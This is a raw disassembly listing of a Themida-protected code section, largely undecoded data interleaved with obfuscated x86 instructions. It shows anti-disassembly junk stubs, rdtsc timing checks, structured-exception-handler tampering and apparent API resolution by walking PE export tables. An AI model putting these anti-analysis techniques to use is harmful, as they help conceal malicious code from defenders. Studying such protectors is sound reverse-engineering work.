dd 60310F61h, 0A5BF5F51h, 617634F1h, 489585Ah, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 89D1996Ch, 1306C59Dh, 21958906h, 8D06130Fh, 164B4C85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0D0FF11F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0DCC35747h, 0A9C0B323h, 6800Fh, 0BD290000h
dd 6133201h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0FE4C5F0Eh, 29504F4Ch, 131DED8Dh
dd 81666006h, 2BB2FBC6h, 13252995h, 74036106h, 0AE92424h
dd 84000000h, 296BE6BAh, 0F61735E3h, 0C1BD8D60h, 6A061318h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 6A47C351h, 9691946h, 0C9D288DCh, 60F5ADF9h
dd 3161B529h, 0EE90613h, 0E000000h, 0C7E3B394h, 0A751E660h
dd 2E43063Dh, 7C8161E9h, 2424h, 870F1000h, 0D3h, 0C810Fh
dd 8E0F0000h, 6, 0F59501h, 8B600613h, 132BCD85h, 60506106h
dd 8B6640B7h, 48961C6h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 3F58B12Ah, 10D239A2h
dd 8B607F5Ah, 130CF985h, 448B6106h, 6A2824h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 58E984C3h
dd 2F427687h, 8501BA22h, 613204Dh, 6E990h, 18560000h, 22118253h
dd 13820F50h, 0E9000000h, 0Eh, 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h
dd 0E9907EE9h, 0Ah, 0D6A6F456h, 15DE1B36h, 858D40A8h, 6164B4Ch
dd 1069B589h, 0D0FF0613h, 58F0F60h, 66000000h, 0DE7CCF81h
dd 36130B5h, 0FC242444h, 0FA81F9ABh, 10000h, 6E7820Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 171D12C3h, 0A28C0A0Eh, 95013DB8h, 6130F91h
dd 951BD8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 3135C3h, 5195890Dh, 0AD061313h
dd 1890Fh, 81F50000h, 24247Ch, 0F100000h, 0CC87h, 0E950F500h
dd 8, 614E175Dh, 0EDBBA115h, 0F240489h, 680h, 0C5958900h
dd 8B061307h, 29282444h, 131EB1BDh, 14E99006h, 0C2000000h
dd 0CB8171ECh, 1D8558C7h, 83AE9C60h, 0D29258AEh, 50EFE4BBh
dd 0DE960h, 40F40000h, 993B2CDEh, 60319586h, 663960A0h
dd 615A21B8h, 14E990h, 226C0000h, 24B2D189h, 0BA7AA1F2h
dd 0A7035CBCh, 0A67A854Fh, 858D21CCh, 6164B4Ch, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h, 7D0D4666h
dd 7FD4B99Dh, 7DB589E7h, 0FF06131Ah, 50006AD0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 9C2CC59h, 130921B5h
dd 24440306h, 75B58924h, 50061329h, 0F605250h, 85h, 10BA6600h
dd 310F6118h, 0CE8B6660h, 5A615852h, 24048958h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h, 0C7E5879Dh
dd 0B8D4E4C2h, 50006AABh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 822D09A8h, 0F6C935Bh
dd 689h, 0C9852900h, 89061304h, 132B6985h, 55BD8D06h, 6A06131Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0E9BFC350h, 0Bh, 38B87774h, 77747621h
dd 0AD2138B8h, 21A98D89h, 7C810613h, 2824h, 870F1000h
dd 10Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 1CC35040h, 800F506Ch, 19h, 14E9h, 63B82800h, 0F7E443C4h
dd 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 24048915h, 0F5CB8B60h
dd 24448B61h, 0E19D092Ch, 9006131Ah, 14E95250h, 0E8000000h
dd 21866D22h, 8DA85874h, 0EBC1B9D0h, 0DD71F070h, 0F3C9D7Eh
dd 61606031h, 50585A61h, 0E8C78B60h, 0Ah, 0E66F37E0h, 0B856A1F6h
dd 52502A91h, 585A310Fh, 6A906158h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0E9CCC355h
dd 89FCF5B0h, 1331B585h, 4C858D06h, 6A06164Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0F578C355h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0F8341DC3h, 0EE9h, 360E4B00h, 20169E43h
dd 86A4974h, 34C7151h, 89282444h, 132049BDh, 8800F06h
dd 60000000h, 34A0BB66h, 0AB61FDB5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 3BC35242h, 0F91C1A4Ch, 978534Eh
dd 130D9D95h, 0DE906h, 0CCFD0000h, 77383EA6h, 9ED7179Ch
dd 5EC9AE82h, 7C198DFFh, 0BD830616h, 6167C19h, 330A7500h
dd 0B3B58DC0h, 0FF06168Ah, 81AD56E6h, 28247Ch, 77100000h
dd 448B500Eh, 8D502C24h, 164B4C85h, 3D0FF06h, 97282444h
dd 858ADF8Bh, 6167C15h, 474C084h, 4C75073Ah, 0AEC03257h
dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h
dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2BC585FFh
dd 5DE90613h, 5EFFFFFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 36C35646h, 0F761A067h, 8BE18A6Ch, 48B0Fh
dd 53600000h, 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 1944ABC3h, 0EDC475CFh, 3160B099h
dd 1305959Dh, 10E906h, 0B1D60000h, 950667ACh, 5F5851B1h
dd 0C0553716h, 8B611BFBh, 132BC585h, 65B58906h, 0D1061301h
dd 11E9E0h, 906D0000h, 0B463A8FEh, 3D370EFAh, 0A954C516h
dd 0F08E257h, 68Eh, 0E1852900h, 3061323h, 131B5585h, 0E7816006h
dd 44554301h, 2A6D8589h, 2B610613h, 6A96F8F6h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0E921C352h, 0Ah, 5151E804h, 7FFDDF8h, 860F24C9h, 1
dd 6AAD66FCh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0C0B9C350h, 7E9h, 0D0A2F400h
dd 99679504h, 22800Fh, 8B600000h, 1311998Dh, 14E806h, 2B4A0000h
dd 36FA0C14h, 0DB8A0E97h, 0FCCCF348h, 55FDE3F1h, 615F9BFEh
dd 0F02E0C1h, 684h, 7D8D0100h, 3061300h, 1318C185h, 5E906h
dd 79650000h, 0FC76F934h, 11E96096h, 40000000h, 0B2DDDD36h
dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 870FAD61h, 0Ch, 68E0Fh
dd 0B5890000h, 6130BD1h, 24247C81h, 10000000h, 0D0870Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 8F643DC3h, 902BA271h, 0BE9h, 0D54D9F00h
dd 7A46CD5Fh, 0A36E7519h, 0EE96050h, 0AF000000h, 56720090h
dd 0E4E18D4Bh, 1E84B9EDh, 0F906143h, 0E8Fh, 958B6000h
dd 6130D49h, 10718D03h, 8B610613h, 0E9282444h, 9, 4CB6E04Eh
dd 0D39F0C07h, 0BF609008h, 5E336577h, 0DDED11BAh, 0E9506122h
dd 0Ch, 5112A638h, 50F30C3Bh, 0D161B2BCh, 99858990h, 8D061316h
dd 164B4C85h, 0DE906h, 24DE0000h, 85661A5Eh, 0A1D5071Bh
dd 0FF170AFBh, 840F60D0h, 13h, 0DE8h, 36965E00h, 804E94DBh
dd 0B7B16393h, 8B5EF057h, 131EF9B5h, 44036106h, 6A2424h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0EA94D7C3h, 89FE7CE4h, 130C318Dh, 24448906h, 0AD85011Ch
dd 0C6061320h, 1311E185h, 85C70006h, 6167D73h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6167C1Dh], 0
push 0
push ebp
call sub_5B4DAD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4DAD proc near ; CODE XREF: Themida_:005B4DA5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5B4DAD endp
; ---------------------------------------------------------------------------
push 71850160h
adc al, 13h
push es
popa
popa
cmc
retn 8
; ---------------------------------------------------------------------------
mov [ebp+6132071h], edi
mov eax, [ebp+61318C1h]
pusha
mov ebx, 2D68B002h
mov ecx, edx
popa
dec edx
push 0
push ecx
call sub_5B4DEC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4DEC proc near ; CODE XREF: Themida_:005B4DE4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5B4DEC endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
pop ecx
popf
mov ebp, 8509F186h
add eax, 6B06131Ch
rol byte ptr [edi+ecx], cl
lea ecx, ds:60000000h
sub dx, 0D82Bh
jo $+6
popa
add eax, edx
push 0
push eax
call sub_5B4E2B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4E2B proc near ; CODE XREF: Themida_:005B4E23p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5B4E2B endp
; ---------------------------------------------------------------------------
dec edx
and al, [edi]
mov dl, 4Ah
pusha
add ebx, 641F4B03h
or ch, 0E2h
popa
jmp loc_5B4E5E
; ---------------------------------------------------------------------------
dd 0D46E0CE8h, 974BF0CAh, 0C3368ECDh
db 0CFh, 0FFh
; ---------------------------------------------------------------------------
loc_5B4E5E: ; CODE XREF: Themida_:005B4E4Bj
xchg eax, esi
push 0
push eax
call sub_5B4E6A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4E6A proc near ; CODE XREF: Themida_:005B4E62p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B4E6A endp
; ---------------------------------------------------------------------------
dw 0BF3Eh
; ---------------------------------------------------------------------------
js loc_5B4E94
jmp loc_5B4E94
; ---------------------------------------------------------------------------
db 6Dh
dd 9F676B44h, 4EA91D44h, 0B9E55903h
; ---------------------------------------------------------------------------
loc_5B4E94: ; CODE XREF: Themida_:005B4E7Cj
; Themida_:005B4E82j
cmc
lodsd
push 0
push ebx
call sub_5B4EA1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4EA1 proc near ; CODE XREF: Themida_:005B4E99p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5B4EA1 endp
; ---------------------------------------------------------------------------
db 93h, 24h, 3Dh
dd 93487BF5h, 0E995246Bh, 11h, 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h
dd 5E332F59h, 247C81EFh, 24h, 9B870F10h, 89000000h, 130A699Dh
dd 11E906h, 47B80000h, 0A1378231h, 0D06C65C5h, 0D6F4C6EEh
dd 50FBAE64h, 0CE9h, 985FFA00h, 0BADA3444h, 0F08DC89Ch
dd 24048934h, 24448BFCh, 5090F528h, 6840F52h, 0F000000h
dd 82h, 60310F00h, 810F6160h, 0
; ---------------------------------------------------------------------------
popa
pop edx
pop eax
push eax
pusha
mov cl, 0F2h
mov bx, 97C7h
popa
nop
pusha
and si, 16E3h
jmp loc_5B4F5B
; ---------------------------------------------------------------------------
dd 0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 967F3D16h
db 65h, 3Fh, 0E9h
; ---------------------------------------------------------------------------
loc_5B4F5B: ; CODE XREF: Themida_:005B4F43j
popa
lea eax, [ebp+6164B4Ch]
pusha
push esi
sub [ebp+613062Dh], eax
pop eax
mov ebx, [ebp+6130771h]
popa
call eax
xor [ebp+6130581h], edi
jmp near ptr dword_5B48D0+482h
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5B4F8A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4F8A proc near ; CODE XREF: Themida_:005B4F82p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5B4F8A endp
; ---------------------------------------------------------------------------
db 0DBh
; ---------------------------------------------------------------------------
loc_5B4F9B: ; CODE XREF: Themida_:loc_5B3EEBj
lea eax, [ebp+6168F5Eh]
pusha
adc ax, 685Fh
mov esi, [ebp+6132535h]
popa
push eax
pusha
mov dx, 32Bh
push eax
mov edi, edx
pop edx
popa
mov [esp], eax
jmp loc_5B4FD1
; ---------------------------------------------------------------------------
db 0F9h, 43h, 8Bh
dd 0C1670DE0h, 0E643689h, 0C6DAB8F9h
db 38h
; ---------------------------------------------------------------------------
loc_5B4FD1: ; CODE XREF: Themida_:005B4FBCj
push large dword ptr fs:0
push 0
push edx
call sub_5B4FE3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4FE3 proc near ; CODE XREF: Themida_:005B4FDBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B4FE3 endp
; ---------------------------------------------------------------------------
inc ebx
or [eax+0EE9h], dh
add [ebp-597F6416h], dl
push 3Fh
add al, 1Ah
and al, 5Ah
fstp tbyte ptr [eax+24048B5Ch]
push 0
push esi
call sub_5B5017
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B5017 proc near ; CODE XREF: Themida_:005B500Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B5017 endp
; ---------------------------------------------------------------------------
pop ss
mov cs:[ebp+6131D51h], eax
pusha
jz loc_5B503B
add ax, 1D4Dh
loc_5B503B: ; CODE XREF: Themida_:005B5030j
or esi, 4BC4BCABh
popa
mov large fs:0, esp
sub [ebp+6131BE1h], ebx
lea eax, [ebp+6168DD2h]
jbe loc_5B5061
mov [ebp+6133021h], ecx
loc_5B5061: ; CODE XREF: Themida_:005B5055j
mov [eax+1], esp
or [ebp+613092Dh], edx
jmp loc_5B507C
; ---------------------------------------------------------------------------
inc ecx
retf
; ---------------------------------------------------------------------------
db 7, 85h, 0E2h
dd 8660A79Eh, 4CDFF07Eh
; ---------------------------------------------------------------------------
loc_5B507C: ; CODE XREF: Themida_:005B506Aj
jmp loc_5B5255
; ---------------------------------------------------------------------------
pusha
mov [ebp+6131FD1h], edi
mov esi, 76B8423Bh
popa
mov ebx, ebx
call $+5
pop ebp
sub ebp, 6168DCBh
mov esp, 12FF9Ch
cmp dword ptr [ebp+61322C1h], 0
jz short loc_5B50C2
mov eax, [ebp+6130F55h]
mov byte ptr [eax], 0
mov eax, [ebp+613206Dh]
mov byte ptr [eax], 0
call dword ptr [ebp+6131CBDh]
loc_5B50C2: ; CODE XREF: Themida_:005B50A8j
pusha
push dword ptr [ebp+6167821h]
lea eax, [ebp+6167825h]
push eax
lea eax, [ebp+6167A1Dh]
push eax
call dword ptr [ebp+6131185h]
add esp, 0Ch
popa
jmp loc_5B50EE
; ---------------------------------------------------------------------------
dw 3DBh
dd 0A3677F54h
db 42h, 0DAh
; ---------------------------------------------------------------------------
loc_5B50EE: ; CODE XREF: Themida_:005B50E1j
push 0
push ebx
call sub_5B50F9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B50F9 proc near ; CODE XREF: Themida_:005B50F1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B50F9 endp
; ---------------------------------------------------------------------------
db 0C4h, 0CEh, 27h
; ---------------------------------------------------------------------------
mov ds:574D4182h, eax
cmpsb
add [ebp+613141Dh], ebx
pusha
mov dx, 8270h
sbb edi, 5C2DE576h
popa
clc
lea esi, [ebp+6167A1Dh]
mov [ebp+613169Dh], ecx
lea edi, [ebp+6132609h]
pusha
mov cx, ax
ja loc_5B5145
mov bx, 5901h
loc_5B5145: ; CODE XREF: Themida_:005B513Bj
popa
mov [ebp+6131459h], edx
loc_5B514C: ; CODE XREF: Themida_:loc_5B5171j
cmp byte ptr [esi], 0
jz loc_5B5192
stc
movsb
jmp loc_5B5165
; ---------------------------------------------------------------------------
dd 11FF97BDh, 864EE295h
db 0CCh
; ---------------------------------------------------------------------------
loc_5B5165: ; CODE XREF: Themida_:005B5157j
jg loc_5B5171
mov [ebp+6132085h], ebx
loc_5B5171: ; CODE XREF: Themida_:loc_5B5165j
jmp loc_5B514C
; ---------------------------------------------------------------------------
jp loc_5B5192
jmp loc_5B5192
; ---------------------------------------------------------------------------
db 0FCh, 1, 9Eh
dd 5578CB04h, 34E5628Bh, 0FD125AC5h
db 0CEh, 0FEh
; ---------------------------------------------------------------------------
loc_5B5192: ; CODE XREF: Themida_:005B514Fj
; Themida_:005B5176j ...
mov eax, 0
jmp loc_5B51AA
; ---------------------------------------------------------------------------
dd 0ED057B10h, 116D8F10h, 29B0C9DBh
db 0CAh, 0B3h
; ---------------------------------------------------------------------------
loc_5B51AA: ; CODE XREF: Themida_:005B5197j
stosb
push 0
push ebx
call sub_5B51B6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B51B6 proc near ; CODE XREF: Themida_:005B51AEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5B51B6 endp
; ---------------------------------------------------------------------------
dw 0C7E3h
dd 7B8E660h, 60000000h, 595BD89h, 7E90613h, 61000000h
dd 295B191h, 0C76194E5h, 1321BD85h, 106h, 13E900h, 0C6B50000h
dd 9989FAC1h, 68AC2494h, 20497A16h, 863241E1h, 8D8D8DB8h
dd 6006134Fh, 0AE641DB9h, 61D08B66h, 880FE1FFh, 0Ch, 6870Fh
dd 95890000h, 6132595h, 0C245C8Bh, 0E855h, 815D0000h, 168F68EDh
dd 0B8838B06h, 89000000h, 16782185h, 0C4858D06h, 8906168Dh
dd 0B883h, 0C0335D00h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_5B5255: ; CODE XREF: Themida_:loc_5B507Cj
push 0
push eax
call sub_5B5260
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B5260 proc near ; CODE XREF: Themida_:005B5258p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5B5260 endp
; ---------------------------------------------------------------------------
add [ebx-613C08A2h], ecx
jmp loc_5B528C
; ---------------------------------------------------------------------------
db 6Eh
dd 0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h
; ---------------------------------------------------------------------------
loc_5B528C: ; CODE XREF: Themida_:005B5276j
jnz loc_5B5298
xor [ebp+613219Dh], ebx
loc_5B5298: ; CODE XREF: Themida_:loc_5B528Cj
jb loc_5B529F
clc
loc_5B529F: ; CODE XREF: Themida_:loc_5B5298j
pusha
jl loc_5B52BC
jmp loc_5B52BC
; ---------------------------------------------------------------------------
db 5Ch
dd 75569483h, 7F819D15h, 9543C30Ah, 0E2212C4Ch
; ---------------------------------------------------------------------------
loc_5B52BC: ; CODE XREF: Themida_:005B52A0j
; Themida_:005B52A6j
lea eax, [ebp+616918Fh]
cmc
push eax
jno loc_5B52E8
push eax
push edx
pusha
popa
rdtsc
jmp loc_5B52E6
; ---------------------------------------------------------------------------
db 3Ah, 10h, 0B2h
dd 0EC35166Dh, 8A3AFE92h, 0F2FD2E4Fh
db 60h, 1Bh
; ---------------------------------------------------------------------------
loc_5B52E6: ; CODE XREF: Themida_:005B52D0j
pop edx
pop eax
loc_5B52E8: ; CODE XREF: Themida_:005B52C4j
mov [esp], eax
push 0
push eax
call sub_5B52F6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B52F6 proc near ; CODE XREF: Themida_:005B52EEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B52F6 endp
; ---------------------------------------------------------------------------
dw 7F64h
dd 870FAAF7h, 6, 0F2D8531h, 0FF640613h, 35h, 1860F00h
dd 0F9000000h, 258964h, 0E9000000h, 0Ah, 8759051Fh, 59310C61h
dd 8D09410Bh, 6132FA5h, 9237858Dh, 6A0616h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B5C5F1C3h
dd 9D89692Bh, 6131AF5h, 1F858D29h, 60890613h, 50006A01h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0B6B010A8h, 0B1E4F51Ch, 89FC6CF2h, 1305B595h, 0E185C606h
dd 4F061311h, 31F18509h, 7A680613h, 0E9DE83ECh, 10h, 0DA0BDC52h
dd 35DB9D57h, 0B094751Fh, 84343E0Ah, 50243481h, 9204B98h
dd 130FC9BDh, 65B58906h, 0FF061325h, 131EE9B5h, 0E9952906h
dd 8D061328h, 167C3385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 3A72DC8Bh, 47E82A96h
dd 0C8F0Fh, 8C0F0000h, 6, 8D0Fh, 0D0FF0000h, 953160F8h
dd 6130C4Dh, 0CEE961F5h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9D80C351h
dd 29C9E7DEh, 13189585h, 245C8B06h, 0E8550Ch, 5D000000h
dd 9199ED81h, 858B0616h, 613116Dh, 1EE98589h, 858B0613h
dd 61310D1h, 1FE58589h, 858B0613h, 61307C9h, 55D8589h
dd 85C60613h, 61311E1h, 7385C700h, 6167Dh, 8D000000h, 16923785h
dd 0B8838906h, 5D000000h, 6AC3C033h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8D88C357h
dd 82657B30h, 8D89D663h, 6131EEDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 36C35040h, 0E97CE55Ah, 98B9500h
dd 131541B5h, 0FF74BC06h, 6A0012h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0B53415C3h, 0A7985804h
dd 0B589334Ah, 61322C5h, 58F64h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 167CC350h
dd 7E6E9606h, 8D896028h, 6132CD9h, 0C48361F5h, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 43F7DE2Dh, 106324A9h, 29C19D29h, 61F90613h, 83E9h, 52515300h
dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h
dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
dd 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h
dd 0FFFFFFF1h, 0DE8CA8Bh, 0EB000000h, 5565E419h, 97D80076h
dd 0CA9AE530h, 28B0Fh, 0D08B0000h, 0CAB70F5Bh, 5AF4C381h
dd 8B660000h, 1683BFD0h, 830F0000h, 19h, 138D0Fh, 0DE80000h
dd 0FE000000h, 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 0E833FF5Ah
dd 14h, 0FD345D2Eh, 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0DE59EA83h
dd 54059CB8h, 0B15E5A36h, 0B1F68146h, 0E96F5B95h, 0Ah
dd 7F1994DCh, 0FE9B3852h, 0EE815A81h, 2FED01ADh, 8C50BA50h
dd 8159402Ch, 0F88CACEEh, 0F8C18177h, 893BC1BCh, 8E833h
dd 88370000h, 11540D27h, 835A3E1Ch, 816601EBh, 4B45F4C8h
dd 0B8664B4Bh, 0EF812BBEh, 1, 1B850Fh, 800F0000h, 5, 0E4F28166h
dd 19E92Bh, 5D890000h, 26B7CA75h, 49099CB1h, 50B16015h
dd 0FF5FE961h, 0D69BFFFFh, 0E9B661D1h, 0FAh, 2D7B691Fh
dd 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h
dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
dd 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h
dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h
dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h
dd 59A0A3D2h, 1Eh, 4 dup(0)
dd 0E6E90000h, 6800000Bh, 616979Dh, 0FCEC13E9h, 988568FFh
dd 9E90616h, 68FFFCECh, 6169939h, 0FCEBFFE9h, 99CF68FFh
dd 0F5E90616h, 68FFFCEBh, 6169A60h, 0FCEBEBE9h, 9AF668FFh
dd 0E1E90616h, 68FFFCEBh, 6169C58h, 0FCEBD7E9h, 9D2F68FFh
dd 0CDE90616h, 68FFFCEBh, 6169E14h, 0FCEBC3E9h, 9F0268FFh
dd 0B9E90616h, 68FFFCEBh, 6169FB6h, 0FCEBAFE9h, 74E270FFh
dd 6CE27456h, 72D86C4Eh, 73DD6E54h, 74E06D53h, 0A3C86756h
dd 0BAA03E16h, 0A88A282Ah, 0B3953513h, 0BF8C2A22h, 49F16DA0h
dd 67BA16B4h, 4DE0C2FBh, 8B2F6EFFh, 0C1401139h, 0C884D5F7h
dd 4B075579h, 0C987D8FAh, 4A045678h, 41BAD8FBh, 0FA8F0354h
dd 7757F548h, 77543237h, 8EA39306h, 4696BC16h, 0E627C40Ch
dd 7C28DEC9h, 13E3C3DCh, 0A5381AC9h, 902107A7h, 0AA3B1FBCh
dd 8CCB1AA2h, 2C3D17A6h, 25A4E3EDh, 9D0A8A6Eh, 9F5D5780h
dd 1DF0C5BFh, 9C2428B9h, 9829D972h, 0A13416B4h, 0BA2B0CABh
dd 0A8A1560h, 8DDCE429h, 73D96C4Eh, 3719A3E2h, 0EF97A6A6h
dd 0A73AE861h, 0EFAD05A5h, 915AAD8Ah, 0A93317A9h, 4A772h
dd 6CBDC800h, 0DDCC3E0h, 6BE1F7D3h, 3E80DFE9h, 454161EBh
dd 654D6A1Ch, 0A9E879D5h, 4E96B205h, 0BD0C2E11h, 83BE4D97h
dd 0C168F98h, 0B49BB889h, 0EC5248BAh, 0A7E6EE00h, 0A8AD527h
dd 0EF7ED663h, 62F35BEBh, 9E87046Eh, 1E3EBB57h, 5AACC65Eh
dd 0C6C61A40h, 8ADD3B97h, 0E081040Ah, 71A83051h, 4Dh, 70E5C2C5h
dd 109DB516h, 0CA1CBEDFh, 0E9003C84h, 0CECF3E9Dh, 9F168E98h
dd 409EEF7Eh, 970A8A89h, 0B8D06248h, 0F5122FF2h, 16B8D9B1h
dd 0C53F89C3h, 75480834h, 0D2A5AADh, 8A487ED8h, 0D490AF0Ah
dd 86B74884h, 158C54B9h, 0B9h, 0E06CBD29h, 74E06D51h, 0FC50E1E5h
dd 74D8696Dh, 0B7962756h, 0D3F7109Dh, 1D7CCD85h, 1C3081D3h
dd 3499CBEh, 9BEBF632h, 0B6C4C93Ch, 2A0D168Eh, 8AA45FBBh
dd 0DBE5280Ah, 3957498Eh, 0D0E312B5h, 0CC1511B1h, 0CC6034F4h
dd 0DCBD690Dh, 868B8EFFh, 21641074h, 4311A082h, 0CE604263h
dd 8850B180h, 285DF746h, 79F00A2Eh, 0E685C067h, 5A000008h
dd 466C4A0Ch, 567C5AF4h, 486A4802h, 577959F7h, 396C4A0Ah
